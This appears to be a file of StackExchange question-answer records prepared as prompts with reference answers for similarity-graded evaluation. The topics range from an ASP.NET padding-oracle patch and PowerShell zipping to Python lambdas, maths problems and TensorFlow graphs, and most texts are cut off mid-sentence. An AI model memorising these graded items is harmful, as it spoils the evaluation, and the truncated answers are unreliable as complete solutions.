Microsoft released their out of band release to fix the security flaw in ASP.NET the yesterday. What methods did Microsoft use to end the viability of this vector?
Now provi... | A great summary of the changes comes from http://musingmarc.blogspot.com/2010/09/ms10-070-post-mortem-analysis-of-patch.html Don't leak exception information - This prevents exploits from seeing what is broken. Don't short-circuit on padding checks (take the same amount of time for padding correct verses padding broken... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/3824125', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/37055/']} | jdg_332813 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 58436229 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
EDIT: AS OF Feb 2020, AWS SEEMS TO have FIXED THIS BUG. THE BASE64ing and other wise is no longer needed. I have my secret stored as a string but of course when aws stores th... | Another option would be to base64 encode the PEM for storage: Encode the key: $ cat private_key -----BEGIN RSA PRIVATE KEY-----asdkmnasefkljzsdkffjsldkgfjlzkmsdflkNOTAREALKEYasddkjnsfdlzxdfvlkmdggo=-----END RSA PRIVATE KEY-----$ base64 private_key > encoded_private_key$ cat encoded_private_keyLS0tLS1CRUdJTiBSU0EgUFJJVk... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/58436229', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/5724147/']} | jdg_151055 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 40692024 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I am using Windows Server 2012 R2 (64 bit). I have powershell version 4 available in it. I am trying to zip and unzip files. When I try Write-Zip command, it throws me follow... | Write-Zip seems to be part of http://pscx.codeplex.com/ that require a separate installation before you can use it. However, if you just want to create a Zip archive from a folder, you could just run $source = "c:\temp\source"$archive = "c:\temp\archive.zip"Add-Type -assembly "system.io.compression.filesystem"[io.compr... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/40692024', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/6570544/']} | jdg_351866 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 7459796 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I would like to create a new theme for ggplot that is based on theme_bw() . I imagine the following steps are necessary (in pseudocode): Make a copy of theme_bw(): theme_new(... | the wiki suggests one way to do this using modifyList , theme_new <- function (base_size = 12, base_family = "", ...){ modifyList (theme_bw (base_size = base_size, base_family = base_family), list (axis.title.x = theme_text(family = base_family, size = base_size, vjust = 0.5)))} | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/7459796', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/415697/']} | jdg_227229 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 40777810 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I have the impression that the following code pattern is not good new_data = map(lambda x: f(x, 30), data) because the lambda function needs to be created len(data) times, th... | because the lambda function needs to be created len(data) times, thus inefficient. Not true, in the example the lambda definition is evaluated only once at compile time and not len(data) times - there is no need to assign it to a name for performance reasons. Look at Sergey's answer, he proves lambda is not expensive a... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/40777810', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/534298/']} | jdg_292126 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 3666500 |
Below is a question asked on the forum math.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
The maximum value of $\int_0^1(f(x))^3 dx$ is $\frac pq$ if $|f(x)|\leq 1$ and $\int_0^1 f(x)dx=0$ . Find $p+q$ , given that $p,q$ are relatively prime. This question ha... | Instead of a new proof, I try to illuminate the linked proof for people with less background. Specifically: I offer here an intermediate step that simplifies notation (to avoid talking about the measure $m(\cdot)$ ), and a proof sketch of Jensen's inequality. A. Rearrangement of function to avoid measures. From the com... | {} | {'log_upvote_score': 4, 'links': ['https://math.stackexchange.com/questions/3666500', 'https://math.stackexchange.com', 'https://math.stackexchange.com/users/571692/']} | jdg_91047 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 168106 |
Below is a question asked on the forum softwareengineering.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
I am learning C (still very much a beginner) on Linux using the GCC compiler. I have noticed that some libraries, such as the library used with the math.h... | Both gcc and g++ are frontends to the GNU compiler collection. You should use the former for compiling and linking C code, and the latter for performing the same actions on C++ code. One of the strongest arguments for maintaining the distinction is that C is not a subset of C++ . If you link using g++ it will automatic... | {} | {'log_upvote_score': 4, 'links': ['https://softwareengineering.stackexchange.com/questions/168106', 'https://softwareengineering.stackexchange.com', 'https://softwareengineering.stackexchange.com/users/67265/']} | jdg_334982 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 3674208 |
Below is a question asked on the forum math.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
Given a monic polynomial $f(x)$ of degree $n$ over $Z$ and $k, p \in N$ , prove that if none of the numbers $f(k), f(k + 1),..., f(k + p)$ is divisible by $p + 1$ , then... | By long division, the remainder of $x^6$ , when divided by $x^3-2x^2-3x-4$ ,is $77x^2+100x+96$ . So we know that $$\alpha^6=77\alpha^2+100\alpha+96$$ and the same with other roots. Therefore you are looking at the sum $$\begin{aligned}S&=\frac{77(\alpha^2-\beta^2)+100(\alpha-\beta)}{\alpha-\beta}+\text{cyclic}\\&=77(\a... | {} | {'log_upvote_score': 4, 'links': ['https://math.stackexchange.com/questions/3674208', 'https://math.stackexchange.com', 'https://math.stackexchange.com/users/663667/']} | jdg_184753 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 3464066 |
Below is a question asked on the forum math.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
Let $\mu$ and $\nu$ be finite measures s.t $\nu<<\mu$ . Is it true or false that there exists a constant $C$ for every $A\in\mathcal{B}([0,1])$ s.t. $\nu(A)\leq{C\mu(A)}... | There are infinitely many even numbers. Let us assume that $b$ is even, as doing so does not limit the number of possible solutions. We can rearrange the original equation to $$c^2-a^2=b^2-3$$ where $b^2-3$ must be odd. It is well know that the sum of the first $n$ odd numbers equals $n^2$ . Consequently, every odd num... | {} | {'log_upvote_score': 4, 'links': ['https://math.stackexchange.com/questions/3464066', 'https://math.stackexchange.com', 'https://math.stackexchange.com/users/514050/']} | jdg_241844 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 3255046 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
My project is .NET/WinForms. I have a list view which is always filled with items. I would like it to have selection always. However, if I click on an empty area below list v... | You need to prevent the native control from seeing the mouse click so it won't unselect an item. Add a new class to your project and paste the code shown below. Compile. Drop it from the top of the toolbox onto your form, replacing the existing one. using System;using System.Drawing;using System.Windows.Forms;class ... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/3255046', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/268243/']} | jdg_162554 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 13296763 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I am making a web application using Python + Tornado which basically serves files to users. I have no database. The files are either directly picked up and served if they are... | I've found the answers to my questions: The genTask example is indeed the best way to implement an async call, and it is due to the fact that the example does use a Python coroutine , which I didn't understand at first glance because I thought yield was only used to return a value for generators. Concrete example: clas... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/13296763', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/1121352/']} | jdg_285253 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 38189119 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
The official way to visualize a TensorFlow graph is with TensorBoard, but sometimes I just want a quick look at the graph when I'm working in Jupyter. Is there a quick soluti... | Here's a recipe I copied from one of Alex Mordvintsev deep dream notebook at some point from IPython.display import clear_output, Image, display, HTMLimport numpy as np def strip_consts(graph_def, max_const_size=32): """Strip large constant values from graph_def.""" strip_def = tf.GraphDef() for n0 in graph... | {} | {'log_upvote_score': 7, 'links': ['https://Stackoverflow.com/questions/38189119', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/38626/']} | jdg_179596 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 148441 |
Below is a question asked on the forum mathoverflow.net. Provide a good and informational response to it like a helpful human would.
Question:
Let $ (\mathscr{A},G,\alpha) $ be a $ C^{*} $-dynamical system, and consider the twisted convolution $ * $-algebra $ ({L^{1}}(G,\mathscr{A}),\star,^{*}) $ defined by\begin{ali... | Old answer: You know already that the answer is ``yes.'' For a reference, see result 2 of Rasala, Richard On the minimal degrees of characters of $S_n$ . J. Algebra 45 (1977), no. 1, 132–181. This gives the answer for $n\geq 9$. The Atlas of Finite Groups then gives the result for $n=7,8,9$. (Note that the statement is... | {} | {'log_upvote_score': 5, 'links': ['https://mathoverflow.net/questions/148441', 'https://mathoverflow.net', 'https://mathoverflow.net/users/-1/']} | jdg_205841 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 42422888 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I have the following button: <input type="button" disabled onClick=document.location.href="?hash=blabla" tabindex="-1" class="btn btn-transparent btn-xs cbut0" /> Now the but... | You can make use of isTrusted property of event .Have a look at MDN . The isTrusted read-only property of the Event interface is a boolean that is true when the event was generated by a user action, and false when the event was created or modified by a script or dispatched via dispatchEvent. Demo function changeHash(ev... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/42422888', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/3079318/']} | jdg_187617 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 16574 |
Below is a question asked on the forum mathematica.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
Simple question but problem with NSolve . I need help how to extract first positive root? For example: eq = -70.5 + 450.33 x^2 - 25 x^4; NSolve[ eq == 0, x] If I ... | The most straightforward way would be FindRoot[ eq, {x, 0}] but since this specific polynomial eq has a singular Jacobian at x == 0 (evaluate e.g. Reduce[ D[ eq, x] == 0, x] ) one would rather use FindRoot[ eq, {x, x0}] for small x0 > 0 . The argument x0 depends on a case by case basis, but for the problem at hand an a... | {} | {'log_upvote_score': 5, 'links': ['https://mathematica.stackexchange.com/questions/16574', 'https://mathematica.stackexchange.com', 'https://mathematica.stackexchange.com/users/1209/']} | jdg_93847 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 30095689 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I've seen some answers before but nothing really helped me out. I also have a class DecideModel (This will be a dataset retrieved from DB, but for purpose of this question, I... | What you probably need is a ValueConverter . What you are doing now is setting the background color to 'Maybe', 'No' or 'Yes', which clearly isn't a color. What you need to do is convert that value to a color. You can do it like this. Create a new class that implements the IValueConverter interface. It will probably lo... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/30095689', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/1570456/']} | jdg_69977 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 41794 |
Below is a question asked on the forum math.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
I have little knowledge of probability and have recently been thinking of a math problem I am sure you guys could answer If for example I tossed a coin ten times and got... | The canonical answer is that if the coin tosses are independent and the coin is fair, then the probability of a head coming up after having seen 10 heads in a row is still $\frac{1}{2}$. Of course, that's not how our minds really work, and calls into question what probability "really" means. If you had just seen 10 hea... | {} | {'log_upvote_score': 4, 'links': ['https://math.stackexchange.com/questions/41794', 'https://math.stackexchange.com', 'https://math.stackexchange.com/users/11351/']} | jdg_158642 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 373655 |
Below is a question asked on the forum meta.stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
Previously the tag usage policy for c questions was that if no language standard was specified, we assume that the question is about the current ISO standard. As a veter... | My proposal is to use the previous policy: Unless the question does not explicitly mention which version of the C standard that is used, it is assumed that the current version is used. That is, whichever version of ISO 9899 that ISO currently lists as active. This makes SO in synch with international standardization. I... | {} | {'log_upvote_score': 6, 'links': ['https://meta.stackoverflow.com/questions/373655', 'https://meta.stackoverflow.com', 'https://meta.stackoverflow.com/users/584518/']} | jdg_291769 | PrimeIntellect/stackexchange-question-answering |
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